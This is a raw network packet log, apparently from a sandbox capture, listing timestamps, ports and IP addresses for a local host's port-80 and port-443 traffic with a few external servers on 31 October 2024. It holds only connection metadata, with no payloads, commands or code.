Oct 31, 2024 01:19:16.576730013 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576735973 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576742887 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576754093 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576756001 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576767921 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576785088 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576786041 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576797962 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576808929 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576812029 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576819897 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576828957 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576853037 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576853991 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576865911 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576877117 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576879025 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576889038 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576900959 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576905966 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576913118 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576925993 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576936960 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576940060 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576948881 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576951981 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576960087 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576971054 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576982021 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576986074 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576993942 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.577004910 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.577014923 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.577017069 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.577033997 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.577039003 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.577049971 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.577060938 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.577061892 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.577071905 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.577084064 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.577095032 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.577102900 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.577105999 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.577121019 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.577124119 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.577143908 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.577143908 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.577162981 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.577194929 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:19.005311012 CET	49994	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:19.006000996 CET	49996	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:19.010853052 CET	80	49994	185.215.113.43	192.168.2.6
Oct 31, 2024 01:19:19.010901928 CET	49994	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:19.010907888 CET	80	49996	185.215.113.43	192.168.2.6
Oct 31, 2024 01:19:19.010958910 CET	49996	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:19.016275883 CET	49997	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:19.016315937 CET	443	49997	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:19.016371965 CET	49997	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:19.018327951 CET	49997	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:19.018341064 CET	443	49997	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:19.019160032 CET	49996	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:19.023968935 CET	80	49996	185.215.113.43	192.168.2.6
Oct 31, 2024 01:19:19.661808968 CET	443	49997	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:19.661881924 CET	49997	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:19.663983107 CET	49997	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:19.663992882 CET	443	49997	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:19.664249897 CET	443	49997	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:19.734616995 CET	49997	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:19.734633923 CET	49997	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:19.734889984 CET	443	49997	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:19.912440062 CET	80	49996	185.215.113.43	192.168.2.6
Oct 31, 2024 01:19:19.912520885 CET	49996	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:19.918068886 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:19.918384075 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:19.923253059 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:19.923270941 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:19.923327923 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:19.923357010 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:19.924304008 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:19.929094076 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.191781998 CET	443	49997	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:20.192054987 CET	443	49997	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:20.192123890 CET	49997	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:20.192519903 CET	49997	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:20.192537069 CET	443	49997	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:20.192559958 CET	49997	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:20.192565918 CET	443	49997	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:20.259742975 CET	49999	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:20.259784937 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:20.259862900 CET	49999	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:20.260250092 CET	49999	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:20.260262966 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:20.812799931 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.812823057 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.812838078 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.812855005 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.812871933 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.812887907 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.812903881 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.812918901 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.812922955 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.812933922 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.812949896 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.813098907 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.817948103 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.817975044 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.817996979 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.818078995 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.818214893 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.876264095 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:20.876502991 CET	49999	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:20.877935886 CET	49999	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:20.877947092 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:20.878222942 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:20.881716013 CET	49999	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:20.881916046 CET	49999	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:20.881947041 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:20.965662003 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.965687990 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.965703964 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.965724945 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.965733051 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.965742111 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.965755939 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.965775013 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.965806961 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.966192007 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.966207027 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.966223001 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.966237068 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.966248035 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.966252089 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.966269016 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.966311932 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.966913939 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.966928005 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.966968060 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.966989994 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.967061996 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.967077017 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.967091084 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.967114925 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.967119932 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.967132092 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.967145920 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.967174053 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.967964888 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.967986107 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.968007088 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.968008041 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.968023062 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.968024969 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.968039989 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.968049049 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.968059063 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.968082905 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.973814011 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.973834038 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.973850965 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:20.973875999 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:20.973907948 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.118956089 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.118988991 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.119004965 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.119019985 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.119035959 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.119050980 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.119066954 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.119091988 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.119159937 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.119227886 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.119268894 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.119276047 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.119318962 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.119416952 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.119443893 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.119455099 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.119456053 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.119481087 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.119494915 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.119731903 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.119748116 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.119762897 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.119774103 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.119798899 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.119823933 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.119837999 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.119848967 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.119853020 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.119859934 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.119868040 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.119875908 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.119894028 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.119908094 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.120666981 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.120682955 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.120698929 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.120706081 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.120713949 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.120723009 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.120728970 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.120739937 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.120743990 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.120759010 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.120759964 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.120788097 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.120810986 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.121468067 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.121483088 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.121498108 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.121507883 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.121535063 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.121535063 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.121556044 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.121571064 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.121584892 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.121592045 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.121611118 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.121623039 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.122251034 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.122266054 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.122288942 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.122293949 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.122303009 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.122306108 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.122318983 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.122322083 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.122334957 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.122339010 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.122353077 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.122354984 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.122374058 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.122387886 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.123162031 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.123176098 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.123191118 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.123199940 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.123205900 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.123217106 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.123219967 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.123234987 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.123235941 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.123249054 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.123250008 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.123267889 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.123291016 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.271924973 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.271946907 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.271994114 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.272057056 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.272073030 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.272079945 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.272129059 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.272201061 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.272216082 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.272231102 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.272245884 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.272262096 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.272268057 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.272277117 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.272285938 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.272294044 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.272308111 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.272322893 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.272327900 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.272347927 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.272372961 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.272712946 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.272728920 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.272743940 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.272759914 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.272759914 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.272773981 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.272773981 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.272795916 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.272818089 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.273117065 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.273140907 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.273156881 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.273158073 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.273180008 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.273181915 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.273195982 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.273197889 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.273211002 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.273220062 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.273231030 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.273233891 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.273243904 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.273256063 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.273267031 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.273282051 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.273668051 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.273713112 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.273763895 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.273778915 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.273794889 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.273803949 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.273809910 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.273823977 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.273840904 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.273845911 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.273845911 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.273845911 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.273855925 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.273868084 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.273870945 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.273885965 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.273886919 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.273900986 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.273900986 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.273914099 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.273916960 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.273952961 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.273972988 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.274584055 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.274633884 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.274651051 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.274668932 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.274693012 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.274697065 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.274710894 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.274713039 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.274729013 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.274734020 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.274744034 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.274750948 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.274759054 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.274770021 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.274775982 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.274787903 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.274791002 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.274800062 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.274805069 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.274820089 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.274821043 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.274832964 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.274852037 CET	49998	80	192.168.2.6	185.215.113.16
